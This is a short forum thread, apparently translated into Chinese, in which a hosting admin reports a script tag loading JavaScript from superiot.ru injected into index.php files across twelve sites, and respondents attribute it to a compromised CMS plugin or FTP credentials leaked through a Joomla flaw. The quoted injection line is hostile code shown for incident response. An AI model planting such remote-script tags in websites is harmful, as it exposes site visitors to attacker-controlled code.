有关最近从http://superiot.ru注入代码的信息

Question

我管理几十个网站的主机。从大约一个星期以来，我在index.php文件中的12个不同网站中找到了这段代码：

<script type="text/javascript" src="http://superiot.ru/**.js"></script> // The name of    the actual javascript file differs
<!-- some hash here-->

有些网站是在不同的服务器上，有些不是。我只是想知道是否有其他人也看到了这一点。

使用更多信息编辑：

• 所有服务器都是centOS 5.3
• PHP版本为5.2.9或5.2.4
• Apache版本为2.2.3或1.3.39

Answer 1

您是否在每个网站上使用相同的软件？

看起来要么是一个受污染的CMS插件，要么是你的网站吸引了一些不受欢迎的注意力。

Answer 2

该javascript是通过FTP漏洞添加的。如果我还记得，它通过Joomla中的一个漏洞找到FTP帐户数据，该漏洞公开了Joomla非常优雅地存储的FTP层用户/密码。

您会发现任何索引。，默认。，家。*可能会受到影响。另外，要特别注意本地维护的jquery.js，它可以修改它以将代码添加到底部。